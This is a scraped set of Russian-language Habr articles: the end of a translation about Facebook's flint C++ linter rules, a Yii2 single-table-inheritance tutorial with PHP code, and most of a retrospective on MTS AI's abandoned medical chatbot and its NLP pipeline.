**Неправильное использование библиотек (checkFollyDetail).** Это распространенная практика разместить библиотекозависимый код в нэймспейс типа "detail". Иногда такой код не может быть инкапсулирован от клиентской части из-за прозрачности шаблонов в C++. Флинт выдает предупреждения против использования таких нэймспейсов, названных в стиле "folly::detail".
**Передача "дешевых" типов по ссылке (checkFollyStringPieceByValue).** Некоторые типы, такие как итераторы или пара итераторов, являются маленькими и дешевыми в копировании. Поэтому их легче передавать по значению вместо передачи по константной ссылке. Пример - StringPiece в Folly, который занимает два слова и имеет семантику простого копирования.
**Нет protected-наследованию (checkProtectedInheritance).** Защищенное наследование - странная вещь, и оставлена лишь для полноты картины, но никак не для практического применения.
**Нет неявному преобразования операторов (checkImplicitCast).** Неявное преобразование операторов опасно так же, как неявное преобразование конструкторов:
```
class C {
// Плохие паттерны, флинт выдаст диагностическое сообщение
operator string();
operator bool();
// Хорошие паттерны, флинт такие любит
/* implicit */ operator string();
explicit operator bool();
};
```
**Плохой и устаревший NULL должен быть везде заменен на nullptr (checkUpcaseNull).**
**Проверка, что std::exception всегда отнаследован публично (checkExceptionInheritance).** Обратите внимание:
```
class MyException : std::exception {
...
};
```
Автор хотел определить собственный класс исключения, но забыл указать наследование публичным. В соответствии с правилами языка, наследование по умолчанию будет приватным. В конечном счете, интересный эффект проявится в том, что код, который должен будет перехватывать все стандартные и пользовательские исключения - catch (const std::exception&), не сможет отработать правильно, потому что приватное наследование исключает неявное преобразование типов. Это не тот тип ошибок, который легко обнаружить без весьма сложного тестирования. Для предотвращения таких ошибок флинт статически отключает непубличное наследование от std::exception25.
**Проверка на "мимолетные” rvalue-конструкции, которые иногда бесполезны (checkMutexHolderHasName).** Рассмотрим: mutex m_lock; ... lock_guard(m_lock); Вне зависимости от цели, этот код не делает ничего полезного: это просто вызов конструктора lock_guard. Это создаст rvalue, которое будет жить в промежутке между закрывающей скобкой и точкой с запятой. В подтверждение Закона Кармака ("Все, что синтаксически правильно и принимается компилятором, рано или поздно попадет в ваш код") вы получаете жизненную необходимость в правилах синтаксического анализа. В идеале, оно должно перехватить все неиспользуемые переменные. На текущий момент мы определяем только несколько распространенных подозрительных мест.
#### Раскрытие исходников flint
Мы очень рады открыть исходники флинта, потому что это хорошая иллюстрация "простейшего решение, способного работать" и интересный пример кросс-языкового перевода. Надеемся, что вы сочтете флинт полезным - мы уже сочли. Оставайтесь с нами для будущих улучшений, мы с нетерпением ждем ваших отзывов.
#### Благодарности
Большое спасибо Nicholas Ormrod и Robbert Haarman за просмотр раннего черновика этой статьи. Слишком много инженеров внесли свой вклад в исходники флинта, чтобы указать их всех здесь; их вклад отмечен в журнале git'а.
**Примечание переводчика**В хабе С++ много статей про статический анализ кода - и почти все они посвящены PVS Studio и CppCat. Когда facebook заявил про свое подобие анализатора, эта новость осталась незамеченной. Статья Александреску поначалу показалась мне тяжелой для понимания, поэтому я решил ее перевести. После перевода она все же остается непростой - поэтому буду рад адекватной критике и помощи в переводе. Там есть неточности и непонятные места - и я буду признателен тем, кто поможет с этими местами. Я не могу сказать, что понял 16-е правило - буду рад, если в комментариях или личной переписке кто-то сможет объяснить его - я добавлю это в статью.
Мое субъективное мнение - флинт больше проверяет стиль и правила написания кода, нежели ищет фактические ошибки - в этом он явно уступает и CppCheck, и продуктам от Viva64. Диагностические правила действительно специфичны - часть из них применима к любому коду (защита хедеров и порядок их включения), а часть - наоборот: если вы не планируете выпускать свой код наружу, то нет смысла отказываться от опенсорсных библиотек.
Я не знаком с языком D, так что если кто-то опробует flint в деле и напишет об этом статью, то будет очень здорово. Ну и сравнение продукта от фейсбука с уже имеющимися альтернативами, рассказ о добавлении правил - я считаю, что это будет очень интересно - ждем заинтересованного автора!`** | https://habr.com/ru/post/224419/ | null | ru | null |
# Наследование ActiveRecord's, описывающих одну таблицу (паттерн single table inheritance) в Yii2
В большинстве реляционных баз данных, к сожалению, нет поддержки наследования, так что приходится реализовывать это вручную. В этой статье я хочу кратко показать, как реализовать такой подход к наследованию, как «single table inheritance», [описанный](http://martinfowler.com/eaaCatalog/singleTableInheritance.html) в книге «Patterns of Enterprise Application Architecture» by Martin Fowler.
В соответствии с этим паттерном, нужно использовать общую таблицу для наследуемых моделей и в этой таблице добавить поле `type`, которое будет определять класс-наследника этой записи.
В этой статье будет использоваться следующая структура наследования моделей:
```
Car
|- SportCar
|- HeavyCar
```
Таблица ``car`` имеет следующую структуру:
```
CREATE TABLE `car` (
`id` int NOT NULL AUTO_INCREMENT,
`name` varchar(255) NOT NULL,
`type` varchar(255) DEFAULT NULL,
PRIMARY KEY (`id`)
);
INSERT INTO `car` (`id`, `name`, `type`) VALUES (1, 'Kamaz', 'heavy'), (2, 'Ferrari', 'sport'), (3, 'BMW', 'city');
```
Модель `Car` можно сгенерировать с помощью Gii.
### Как это работает
Нам понадобится простой класс запроса `CarQuery`, который автоматически будет подставлять тип автомобиля.
```
namespace app\models;
use yii\db\ActiveQuery;
class CarQuery extends ActiveQuery
{
public $type;
public function prepare($builder)
{
if ($this->type !== null) {
$this->andWhere(['type' => $this->type]);
}
return parent::prepare($builder);
}
}
```
И теперь мы можем создать классы-наследники от `Car`. В них мы определим константу `TYPE` которая будет хранить тип автомобиля для записи в поле `type` модели, и переопределим ActiveRecord-методы `init`, `find` и `beforeSave`, в которых этот тип будет автоматически подставляться в модель и в запрос `CarQuery`. `TYPE` не обязательно должен быть строкой (разумнее использовать unsigned int) и даже не обязательно константой, но для простоты сделаем так. Таким будет `SportCar`:
```
namespace app\models;
class SportCar extends Car
{
const TYPE = 'sport';
public function init()
{
$this->type = self::TYPE;
parent::init();
}
public static function find()
{
return new CarQuery(get_called_class(), ['type' => self::TYPE]);
}
public function beforeSave($insert)
{
$this->type = self::TYPE;
return parent::beforeSave($insert);
}
}
```
И таким `HeavyCar`:
```
namespace app\models;
class HeavyCar extends Car
{
const TYPE = 'heavy';
public function init()
{
$this->type = self::TYPE;
parent::init();
}
public static function find()
{
return new CarQuery(get_called_class(), ['type' => self::TYPE]);
}
public function beforeSave($insert)
{
$this->type = self::TYPE;
return parent::beforeSave($insert);
}
}
```
Дублирования кода, можно избежать, вынеся эти методы в класс `Car` и используя вместо константы `protected` метод `Car::getType`, но сейчас я не буду на этом останавливаться для простоты.
Теперь нам нужно переопределить метод `Car:instantiate:` для автоматического создания модели нужного класса, в зависимости от типа:
```
public static function instantiate($row)
{
switch ($row['type']) {
case SportCar::TYPE:
return new SportCar();
case HeavyCar::TYPE:
return new HeavyCar();
default:
return new self;
}
}
```
Знающий о всех наследниках `switch case` в коде модели-родителя — на самом деле не слишком удачное решение, но, опять же, это сделано только для простоты понимания подхода и от этого несложно избавиться чуть усложнив код.
Теперь для `single table inheritance` всё готово. Вот простой пример его прозрачного использования в контроллере:
```
// finding all cars we have
$cars = Car::find()->all();
foreach ($cars as $car) {
echo "$car->id $car->name " . get_class($car) . "
";
}
// finding any sport car
$sportCar = SportCar::find()->limit(1)->one();
echo "$sportCar->id $sportCar->name " . get_class($sportCar) . "
";
```
Этот код выведет следующее:
```
1 Kamaz app\models\HeavyCar
2 Ferrari app\models\SportCar
3 BMW app\models\Car
2 Ferrari app\models\SportCar
```
Как можно заметить, модели получают класс в соответствии с указанным у них типом.
### Обработка уникальных значений
Если в таблице есть поля, отмеченные в модели как уникальные, для того чтобы `UniqueValidator` пропускал их у разных классов, можно использовать такую приятную фишку Yii как `targetClass`:
```
public function rules()
{
return [
[['MyUniqueColumnName'], 'unique', 'targetClass' => Car::classname()],
];
}
```
Это вольный перевод одного из полезных «рецептов» для Yii2, написанных хабравчанином [SamDark](https://habrahabr.ru/users/samdark/) здесь — <https://github.com/samdark/yii2-cookbook>, так что если эта статья чем-то вам помогла, отправляйте лучики добра — ему, а если не понравилась, то лучи зла мне. | https://habr.com/ru/post/274925/ | null | ru | null |
# Как мы не смогли создать медицинского чат-бота. История проекта, который так и не увидел свет
*Привет,*
*Это статья нашего бывшего коллеги, Андрея Лукьяненко, который работал над проектом по созданию медицинского чат-бота. Андрей покинул нашу компанию по собственному желанию (и с большим сожалением для нас), но несмотря на это, мы решили опубликовать его материал. Мы уверены, что эта статья будет полезна всем, кто работает над созданием специализированных чат-ботов.*
*Итак, передаем слово Андрею Лукьяненко, бывшему техлиду MTS AI.*
В последние годы рынок телемедицины (дистанционных медицинских услуг) и в целом медтеха активно растет, и пандемия коронавируса только ускорила его развитие. Такие технологии востребованы, потому что они относительно дешевы, доступны вне зависимости от места проживания пациента и дают возможность самостоятельно выбирать врачей.
Однако в работе над этими технологиями есть множество проблем, например, медленная адаптация законодательства, сложности получения, обработки и хранения конфиденциальных данных. Сейчас в России врачи не имеют права ставить диагноз без очной встречи с пациентами. При этом, согласно приказу Минцифры, к 2030 году половина медицинских консультаций должна проходить онлайн.
В медтехе очень популярны онлайн-консультации. Они могут проходить как с участием врача, так и без. Естественно, серьёзные вопросы должен решать доктор, но тем не менее остается огромное количество простых задач, с которыми может справиться искусственный интеллект. В России уже реализованы подобные решения: боты записывают пациентов на приём, проводят опросы перед приемом, распознают диалог врача и пациента, а затем конвертируют аудиозапись в текст.
В MTS AI мы разрабатывали своего медицинского чат-бота около двух лет и... у нас это не получилось. Идея была простой: перед первым приёмом пациент общается с чат-ботом, тот проводит первичный опрос. На выходе получаем анамнез для врача, а для пациента — информацию о том, к какому специалисту ему стоит обратиться. Польза для доктора заключается в том, что ему не надо задавать одни и те же вопросы каждому пациенту, достаточно лишь верифицировать анамнез и предполагаемый диагноз. Благодаря этому, время первичного приёма сокращается и ускоряется поток пациентов. К тому же пациент не всегда знает, к какому врачу ему обратиться, и чат-бот поможет ему сориентироваться. Конечно, было бы лучше, чтобы чат-бот показывал потенциальный диагноз, но это рискованно и может нарушать нормы законодательства, поэтому мы решили ограничиваться рекомендациями.
Проект оказался весьма сложным, его потенциальная прибыльность была неясна, и поэтому его остановили в конце 2020 года. Но в ходе работы над ним мы научились многому, и хотели бы этим поделиться.
Я был техлидом NLP-части проекта около года, и именно о ней я буду рассказывать.
В этой статье я опишу работу над проектом в целом, далее затрону тему сбора и разметки данных. Как известно, от их качества успех проекта зависит напрямую. Именно поэтому очень важно хорошо организовать не только сбор и разметку данных, но и проверку этой разметки. После этого мы рассмотрим, какие модели машинного обучения были использованы— это ведь самое интересное, правда? Затем я расскажу, что из опробованного нами не сработало. А в конце объясню, какую пользу мы смогли извлечь из проекта, несмотря на то, что он не удался.
---
Высокоуровневое техническое описание
------------------------------------
Хороший чат-бот — это большая разработка, и наш проект не был исключением: в работе над ним участвовали DS-ы в направлениях NLP и рекомендательных систем, программисты, менеджеры и другие специалисты.
Для начала рассмотрим, как должен был функционировать разрабатываемый нами чат-бот. Я нарисовал упрощённую схему.
Как уже говорилось выше, проект выполняет две задачи: составление анамнеза и предсказание диагноза (даже если мы не будем его показывать пациенту). Чтобы предварительно установить диагноз, нам нужно детальное описание состояния человека. Например, если он жалуется на "боль в горле", "сухой кашель" и сообщает ещё несколько других специфических симптомов, мы можем сказать, что у него скорее всего "острый фарингит". Но вытаскивать такие симптомы из текста целиком очень сложно или невозможно, опрашивать людей о наличии всех этих симптомов слишком долго, им надоест отвечать. Мы решили парсить тексты на отдельные сущности, а потом объединять их в такие комплексные симптомы.
По итогу, наша команда пришла к следующей схеме. Мы решили, что пациенты будут писать в чат-бот неструктурированный текст, а нам предстоит извлекать из него информацию и приводить её в структурированный вид. Для этого обычно используется slot filling.
У нас был конфигурационный файл со списками сущностей и связями между ними. Мы выделили две группы: сами сущности и их атрибуты. Например, сущностью может быть "боль", "насморк" или "отек". Атрибуты могут показывать, при каких условиях возникает боль (условие), где она ощущается (локализация), когда происходит (время суток) и т. д. И было указано, какие атрибуты могут быть у сущностей. Зачем это нужно? Дело в том, что не все комбинации имеют смысл (например, не нужно описывать, что насморк ощущается в носу — в другом месте его не бывает), а некоторые комбинации не важны для диагноза.
Кроме того, для большинства атрибутов у нас были классы. Например, болеть может рука, нога, левое подреберье, ухо и ещё много чего. Симптомы могут возникать при сидении, наклонах, дыхании и т. д. Кроме того, люди могут использовать уменьшительно-ласкательные суффиксы, сленг и прочие альтернативные написания. Все это вызывает необходимость строить модели классификации для предсказания конкретных классов.
Разберём пример:
Пациент пишет нам жалобу, например: "Я упал с лестницы, теперь у меня сильно болит нога и рука, а ещё по утрам отекает щека". Примечание: здесь и далее жалобы выдуманы.
Вначале мы извлекаем сущности с помощью моделей NER. Список сущностей длинный, поэтому используются разные подходы — от простого парсинга на правилах и регулярных выражениях до нейронок.
Дальше мы используем модель Relation Extraction, чтобы найти связанные между собой сущности. Нам надо понять, что отёк возникает именно по утрам, и что болит только нога и рука. Для этого подаем все пары сущностей и атрибутов, дополнительные фичи в модель и делаем предсказания. Помимо этого, мы настраиваем фильтрацию, чтобы отбросить невозможные пары.
Следующий шаг — разделение атрибутов на классы (описанные выше). Это простая модель классификации для каждого термина.
Но и это ещё не все: в жалобе может быть что-то типа "у меня болит нога, а рука не болит". В таком случае нам надо распарсить отрицание и правильно присвоить его.
Это все был первый, но самый насыщенный шаг. Дальше мы анализируем slot filling. Например, мы не знаем, при каком условии у пациента болит рука (или она болит всегда), и поэтому должны спросить его об этом.
Мы генерим вопросы на основе заранее написанных шаблонов и опрашиваем человека по всем пунктам. Пациент может выбрать один из предложенных вариантов или написать ответ в свободном стиле.
Такой опрос продолжается, пока все слоты для выявленных сущностей не будут заполнены (или помечены как отсутствующие/неизвестные). Далее мы пытаемся предсказать диагноз и формулируем новые вопросы для его уточнения. Это делалось с использованием рекомендательных систем, но поскольку я этим не занимался, углубляться в детали не будут.
Когда достигается критерий сходимости, опрос заканчивается, и мы выдаём анамнез и предварительный диагноз.
Данные — наше всё
-----------------
С данными в нашем проекте было сложно. В целом на русском текстов меньше, чем на английском. Но это полбеды. Нам нужны были данные в медицинском домене. Таких датасетов для русского языка практически нет. Мы смогли спарсить несколько миллионов текстов из открытых источников (например, форумов), но оставался ряд проблем. В том числе:
* стиль и содержание текстов с форумов сильно отличаются от того, что люди будут писать в чат-бот;
* данные не были размечены;
* нет никаких претренированных моделей NLP на русскоязычных медицинских текстах. Самое близкое — либо англоязычный BioBERT, либо какой-нибудь русскоязычный BERT. Но в первом случае не подходит язык, а во втором — домен;
Таким образом, нам нужно было:
* самостоятельно делать разметку;
* учитывать различия в домене между текстами, которые у нас есть, и теми, которые будут в реальности;
* тренировать модели с нуля или делать свой претрейн;
Разметка данных проходила в несколько этапов:
В самом начале мы её делали либо своими руками, либо с использованием простых парсеров на правилах и regex (я присоединился к проекту как раз на этом этапе). Когда я пробовал натренировать модель NER на такой разметке, результаты получились ожидаемые — модель часто ошибалась, и при этом во многих случаях давала правильные предсказания на семплах с ошибочной разметкой.
Через какое-то время мы решили, что лучше сделать настоящую разметку. Если бы нам нужно было разметить что-то простое (например, названия локаций или имена людей), то можно было не париться над составлением задания на разметку, поскольку любой человек сразу поймёт, что надо размечать. Но нам надо было размечать медицинские сущности, поэтому первым шагом стало составление подробных инструкций.
Это оказалось гораздо сложнее, чем мы ожидали изначально. Мы пробовали разные подходы для покрытия большинства случаев: например, размечали тексты по отдельности, а потом собирались вместе, чтобы обсудить спорные моменты. В результате инструкции по разметке были составлены примерно таким образом:
Я уже писал выше, что мы знали о разнице между нашими текстами и теми текстами, которые могли приходить к нам в проде. Но к этому времени у нас уже была рабочая версия чат-бота (но практически без ML-части), поэтому мы могли посмотреть в логи и узнать, что же пишут люди. Результаты были прямо сказать удручающие: иногда люди описывали свои болезни очень кратко, в одном-двух словах; иногда они перечисляли чуть ли не все имеющиеся у них болячки, а не только то, что их беспокоит прямо сейчас; наконец, во многих сообщениях не было ничего о проблемах со здоровьем — люди писали, что у них все хорошо, шутили (например, жаловались, что у них "душа болит") или просто писали чушь.
Исходя из всего этого, мы решили делать следующее:
* для разметки и тренировки моделей брать короткие фразы (до 50 слов);
* добавлять достаточное количество текстов без сущностей/классов, чтобы уменьшить долю false positives;
* добавлять аугментации;
Время шло, разметка копилась, но нам быстро стало понятно, что её качество оставляет желать лучшего. Дело в том, что практически отсутствовал контроль за разметкой: каждый текст размечал один человек, качество разметки особо и не проверялось. Но я не мог просто сказать "давайте делать лучше", надо было продемонстрировать наличие проблем и предложить способы их решения.
На тот момент у нас набралось примерно 15 тысяч размеченных текстов. Среди них я обнаружил около 3 тысяч дубликатов — одинаковых или почти одинаковых текстов, которые размечались несколько раз, потому что тогда мы не делали предварительную проверку на отсутствие дубликатов. Анализ этой разметки выявил множество проблем:
* разные люди в одних и тех же текстах размечали NER по-своему: кто-то отмечал предлоги, кто-то нет; кто-то отмечал "дополнительные" слова, кто-то нет, и так далее;
* иногда в тексте одна и та же сущность встречается несколько раз. Кто-то из разметчиков фиксировал все такие сущности, кто-то только первую;
* наконец, случалось и так, что в тексте один разметчик размечал только одну сущность, а другой — только другую.
Этой аналитики было достаточно, чтобы изменить процесс разметки. В результате нескольких итераций мы пришли к единообразию:
* вначале мы собирали данные для разметки. Изначально это делали просто поиском по ключевым словам, но позже реализовали некий упрощённый вариант active learning: собирается очень маленький датасет, тренируется модель, дальше мы делаем предсказания, считаем энтропию и берём тексты с максимальной энтропией для разметки. Причём это использовалось не напрямую, а объединялось с рядом других критериев в snorkel. Это работало весьма хорошо;
* эти тексты передавались разметчикам вместе с подготовленной нами инструкцией. Они размечали данные в настроенном doccano. Над каждым текстом работали 5 человек;
* был специальный чатик в телеграме, где разметчики могли задавать вопросы "контролёрам" (людям, которые лучше разбираются, как правильно делать разметку) для уточнения спорных моментов. Это давало очень большой прирост качества разметки. Как-то раз ради эксперимента попробовали отменить этот этап, и в результате эта итерация оказалась значительно хуже, чем обычно;
* какое-то время полученную разметку предварительно проверяли валидаторы. Они случайным образом брали 10% размеченных текстов и проверяли качество; если оно было выше 90%, то разметку передавали нам, если нет — данные отправлялись на переразметку;
* размеченные тексты прогонялись через написанный нами постпроцессинг - он исправлял множество косяков, которые проще было делать автоматически, чем заставлять людей следить за ними. Он удалял лишние предлоги и пробелы, мусорные слова и многое другое. Этот скрипт итеративно улучшался по мере того, как мы обнаруживали новые мелкие расхождения в разметке. Это тоже давало значительное увеличение качества;
* далее мы запускали написанный скрипт для анализа качества разметки. Он показывал множество информации: доля текстов с полным и частичным совпадением разметки, отмеченные куски текста (для задачи NER), примеры текстов с расхождением и с совпадением разметки. Кстати говоря, было действительно полезно рассматривать примеры текстов с одинаковой разметкой, потому что случалось, что все разметчики делали одну и ту же ошибку. Это было сигналом того, что надо обновлять инструкцию для них. То же самое относится к текстам, где ни один разметчик ничего не отметил;
* если доля текстов с полным совпадением разметки была выше 90%, мы принимали разметку, если же нет, то тексты отправлялись на переразметку;
У нас возникали идеи по ускорению разметки, но обычно это был трейдофф между временем разметчиков, временем data scienctist-ов и качеством моделей. Рассмотрим некоторые предложения.
Одна из идей была следующей: допустим, в рамках текущей итерации было размечено 1000 текстов. Анализ разметки показал, что лишь у 70% текстов было полное совпадение кросс-разметки.Мы предложили в таких случаях отправлять на переразметку не все 1000 текстов, а только 300, по которым было расхождение. Такой подход, конечно, значительно ускорял разметку, но ценой небольшого ухудшения качества, потому что в 700 текстах с совпадением разметки точно будут тексты, где все разметчики ошиблись. И тогда либо ml-щики должны просматривать все тексты и проверять их на ошибки, либо мы принимаем ухудшение качества моделей из-за ухудшения разметки.
Ещё одна из идей: у нас есть много сущностей (больше 50), для тренировки моделей было бы хорошо, чтобы в каждом тексте размечались все сущности, в таком случае можно будет натренировать одну модель сразу на все сущности. К сожалению, это не представлялось возможным. Во-первых, это временные затраты: какие-то сущности встречаются часто (больше половины случаев), какие-то - редко (меньше 10 или даже 5 процентов). Если просить людей размечать все сущности во всех текстах, в большинстве случаев они ничего не разметят. И, что важнее, если вы попросите кого-то разметить в тексте 50 сущностей, то он забудет про многие из них.
В результате долгое время мы просто давали разметчикам тексты и просили в них разметить одну сущность. В дальнейшем мы пробовали отдавать те же тексты на разметку других сущностей или просить размечать в текстах до пяти конкретных сущностей.
И даже всего этого часто не хватало. Например, в какой-то момент мы обнаружили, что во фразе "у меня болит рука" модель NER на локализации не находила слово "рука". Оказалось, что из четырёх тысяч размеченных на тот момент текстах, лишь в одном попалось это слово.
Кроме того, в текстах очень часто встречались сложные случаи, в которых было легко ошибиться. Покажу пример: "мучаюсь очень сильными головными болями, иногда даже темнеет в глазах от боли". Слово "болями" является сущностью "боль". А вот слово "боли" в конце не является сущностью "боль" - это скорее условие при котором темнеет в глазах.
---
Подробнее про машинное обучение
-------------------------------
### Процессинг текста
Процессинг текста доставил нам мучений и головной боли.
Выше я уже описывал постпроцессинг стандартизации разметки данных. Похожий постпроцессинг у нас использовался и после моделей извлечения сущностей. Кроме того, у нас была собственная расшифровка аббревиатур, постпроцессинг предсказаний на основе бизнес-правил и многое другое.
Отдельного внимания заслуживает токенизация текста. Есть множество методов токенизации, и сложно сказать, какой из них является лучшим. Изначально у нас использовался токенизатор из spacy (поскольку spacy очень активно использовался в проекте), и переход на другие токенизаторы означал бы переписывание многих кусков проекта, так что мы его не заменяли. Но нередко возникала необходимость допиливать его вручную, чтобы он не ломался на наших текстах. Пример такого кода:
```
from spacy.tokenizer import Tokenizer
from spacy.util import compile_infix_regex, compile_suffix_regex, compile_prefix_regex
def custom_tokenizer(nlp):
"""Creates custom tokenizer for spacy"""
suf = list(nlp.Defaults.suffixes) # Default suffixes
# Удаление suffixes , чтобы spacy не разбивал слитно написанные слова
# по типу '140мм рт ст'
del suf[75]
suffixes = compile_suffix_regex(tuple(suf))
# remove №
inf = list(nlp.Defaults.infixes)
inf[2] = inf[2].replace('\\u2116', '')
infix_re = compile_infix_regex(inf)
pre = list(nlp.Defaults.prefixes)
pre[-1] = pre[-1].replace('\\u2116', '')
pre_compiled = compile_prefix_regex(pre)
return Tokenizer(nlp.vocab,
prefix_search=pre_compiled.search,
suffix_search=suffixes.search,
infix_finditer=infix_re.finditer,
token_match=nlp.tokenizer.token_match,
rules=nlp.Defaults.tokenizer_exceptions)
```
### Эмбеддинги
В NLP одним из залогов успеха является использование хороших претренированных моделей или хотя бы претренированных эмбеддингов.
Как я уже писал выше, претренированных NLP-моделей на русских медицинских текстах нет, поэтому нам надо было искать другие подходы.
Для начала я просто взял публичные эмбеддинги fasttext, претренированные на Википедии. Они сработали неплохо, но хотелось чего-то получше. Тогда я взял все имеющиеся у нас тексты на медицинскую тематику и стал тренировать на них эмбеддинги — word2vec, glove и fasttext. Эмбеддинги fasttext оказались самыми лучшими (что неудивительно), выбор гиперпараметров тоже сыграл важную роль.
В этой табличке можно увидеть результаты тренировки модели классификации диагнозов на разных эмбеддингах. Это был эксперимент по прямому предсказанию диагнозов на полном тексте жалобы. Такой подход мы не стали использовать, но тем не менее видно, что подбор гиперпараметров эмбеддингов может значительно увеличить качество моделей.
### Модели NER
Извлечение сущностей начиналось с простого: вначале мы использовали парсеры с регекспом для поиска ключевых слов. Хочу отметить, что этот подход продолжал использоваться для простых сущностей до самого конца, у нас были такие сущности, которые легко вытаскивались по ключевым словам, а значит не было необходимости тратить ресурсы на их разметку.
Следующим шагом было использование моделей NER из spacy. То есть мы либо тренировали модели с нуля, либо использовали spacy\_ru. На тот момент тренировать модели было удобнее с помощью самостоятельно написанных питоновских скриптов, но в новых версиях гораздо проще делать это просто в командной строке. Мы пробовали комбинировать тренируемые модели spacy с EntityRuler — то есть по факту возможность добавления правил или просто поиска по ключевым словам, но особой пользы это не дало.
Когда у нас накопилось побольше разметки, мы стали переходить на нейронки. BiLSTM на векторах fasttext работала отлично. Мы пробовали экспериментировать с архитектурой, например добавлять attention, но однозначного улучшения не было. В итоге мы просто тюнили архитектуры и гиперпараметры модели под разные сущности.
### Классификация
С классификацией все было прямолинейно: на вход моделям приходили очень короткие тексты — то, что вытащили модели NER. Тренировать на этом какие-то сложные модели было бессмысленно, поэтому мы просто использовали старый, проверенный подход — векторизацию с помощью tf-idf на буквосочетаниях (char-gram-ы) и на словосочетаниях (word-gram-ы) и логистическую регрессию для предсказания.
Для этого было удобно использовать Pipeline из sklearn, и все выглядело примерно так:
```
combined_features = FeatureUnion([('tfidf', TfidfVectorizer(ngram_range=(1, 3))),
('tfidf_char', TfidfVectorizer(ngram_range=(1, 3),
analyzer='char'))])
pipeline = Pipeline([('features', combined_features),
('clf', LogisticRegression(class_weight='balanced',
solver='lbfgs',
n_jobs=10,
multi_class='auto'))])
```
### Relation extraction
Поиск взаимосвязей между сущностями был довольно сложной задачей. Иногда взаимосвязанные сущности находились рядом друг с другом в тексте, иногда они были далеко; иногда в текстах были взаимосвязи один к одному, иногда — многие ко многим; кроме того, не все комбинации связей были возможны. Все это создавало сложности для тренировки моделей, потому что невнимательно собранный датасет легко приводил к оверфиттингу и множеству false positives. Мы пробовали много моделей, например, начинали просто с извлечения эмбеддингов ELMo и MLP поверх них, но такой подход работал медленно и не особо качественно.
Спустя множество итераций мы пришли к такому подходу: берем предложение и извлеченные из него сущности, векторизируем, для каждой пары сущностей и атрибутов извлекаем дополнительные признаки и используем вот в такой архитектуре:
### Augmentation
Аугментации сыграли довольно большую роль в улучшении качества наших моделей. Дело в том, что разметки всегда было недостаточно, и это стало одной из основных наших проблем. Например, в сущности локализация (напомню, это место, где есть проблема - нога, рука и так далее) было больше 150 классов — это значит, что и модели NER должны ловить такие слова, и моделям классификации нужно корректно определять их классы, и моделям relation extraction следует правильно находить связи с такими словами. В других сущностях было значительно меньше классов, но все равно возникали подобные сложности. Если размечать тексты случайным образом, то велика вероятность, что многие классы/слова не встретятся. А искать все классы вручную — сложно. Попытка же вручную собирать тексты со всеми парами слов для моделей relation extraction вообще обречена на провал.
На помощь нам пришли аугментации, причем скорее аугментации на правилах, чем какие-то умные варианты. Один из стандартных подходов к аугментации текстов — замена слов синонимами или словами с близкими эмбеддингами. К сожалению, в нашем случае это не работало.
Допустим есть фраза, "у меня болит рука". Если мы просто попробуем взять синоним или слово с близким эмбеддингом к слову "боль", то мы можем получать что-то подходящее, например "болезненность", а можем получить, например "резь", "дискомфорт", "ломота" - а это уже другие сущности. Кроме того, подобные замены будут ломать орфографию.
Один из сработавших подходов:
* берем исходное предложение, например, опять же, "у меня боль в руке" и генерим новые предложения, просто заменяя "руке" на другие локализации. При этом надо не забывать использовать правильные склонения;
* дальше мы можем менять слова в сущности "боль" и получать что-то типа "у меня болезненность в руке", " у меня болит рука" — и опять же надо следить за формами слов;
* кроме того, мы можем добавлять атрибуты и получать "у меня сильная боль в руке", "у меня боль в руке по утрам" и многое другое. Важно изменять и саму разметку;
* наконец, мы можем заменять сущность "боль" на что-то другое и получать "у меня ломота в руке", "у меня отек руки", и тоже изменять разметку;
Причём такой подход можно использовать как с датасетами для NER, так и с датасетами на классификацию и relation extraction.
Всё это звучит слишком хорошо — будто разметка особо и не нужна. И действительно, это оказалось слишком хорошо, чтобы быть правдой. При таком подходе появились две проблемы: мы не знали все возможные варианты слов, и модели слишком быстро учили паттерны. В результате мы получали дикий оверфит и множество false positive.
Для исправления ситуации пришлось сильнее рандомизировать аугментации, добавлять в сгенеренные фразы побольше мусорных слов (не сущностей) и следить, чтобы в тренировочном датасете значительная часть текстов была реальной, а не сгенерированной. Такой подход оказался рабочим.
### Дополнительные технические детали
Опишу ещё ряд технических моментов, которые мне показались достаточно интересными.
У нас было довольно много легаси, большую часть мы оставляли, что-то переписывали из необходимости, что-то для удобства. Например, разные модели классификации/NER были написаны в отдельных скриптах, потом импортировались в другой скрипт и там использовались. Это работало неплохо, но при добавлении/изменении моделей приходилось бы менять импорты и делать другие изменения в коде, что не всегда хорошо. Я переписал это, в результате настройки моделей и пути к классам хранились в yaml-конфиге. Благодаря этому, если мы тренировали новую версию модели или добавляли новую, не надо было изменять основной код, достаточно было изменить конфиг и, при необходимости, добавить скрипт с кодом новой модели.
Мы настроили базовый ci/cd, хотя скорее это проверки стиля.
В какой-то момент мы решили, что нам нужно иметь какие-то более или менее чёткие критерии того, стоит ли выкатывать новую версию модели или нет. Для этого мы (ml-щики) самостоятельно собирали и размечали свой тестовый датасет для проверки качества моделей. В нём были тексты с полной разметкой на сущности, классы, связи между сущностями. Из-за трудоёмкости такой разметки, в нём было всего несколько сотен примеров. Когда у нас появлялась новая версия модели, мы запускали её по этому датасету и смотрели, насколько изменилось качество, обращая внимание и на false positives, и на false negatives. Новая модель принималась, только если она улучшала все метрики. Заодно благодаря этому мы могли отчитываться перед менеджерами о прогрессе в улучшении моделей.
Одной из проблем проекта стало то, что у нас было очень много моделей: нам приходилось извлекать 50+ сущностей, находить связи между ними, классифицировать и так далее. В результате получался большой совокупный вес моделей и медленная скорость работы проекта. Например, в какой-то момент мы просто не смогли его запустить на маленьком сервере, поскольку там не хватало оперативной памяти. Скорость работы была тоже важна: пользователю надо отвечать очень быстро. Эти сложности решали комплексом мер: просто оптимизацией кода (в легаси-коде нередко одна и та же модель инициализировалась много раз или использовалась неэффективно), использованием моделей на правилах, где это возможно, тренировкой одной модели на много сущностей, если это позволяла разметка. Это также означало, что мы не могли просто взять и запихнуть в проект с десяток бертов это вышло бы за все возможные лимиты.
Какие идеи не сработали
-----------------------
У нас было много идей, которые либо не сработали, либо их просто не получилось попробовать по ряду причин. Перечислю некоторые из них.
Мы очень хотели натренировать одну модель на все сущности. А в идеале - сделать сложную архитектуру, и тренировать модель одновременно на NER и Relation extraction (а если возможно, то ещё и на классификацию). Это упиралось в наличие разметки, но у нас не было возможности разметить достаточно большой датасет на все сущности. Впрочем, нам удалось попробовать потренировать SpERT, но результат получился недостаточно хорошим, чтобы внедрять его в проект.
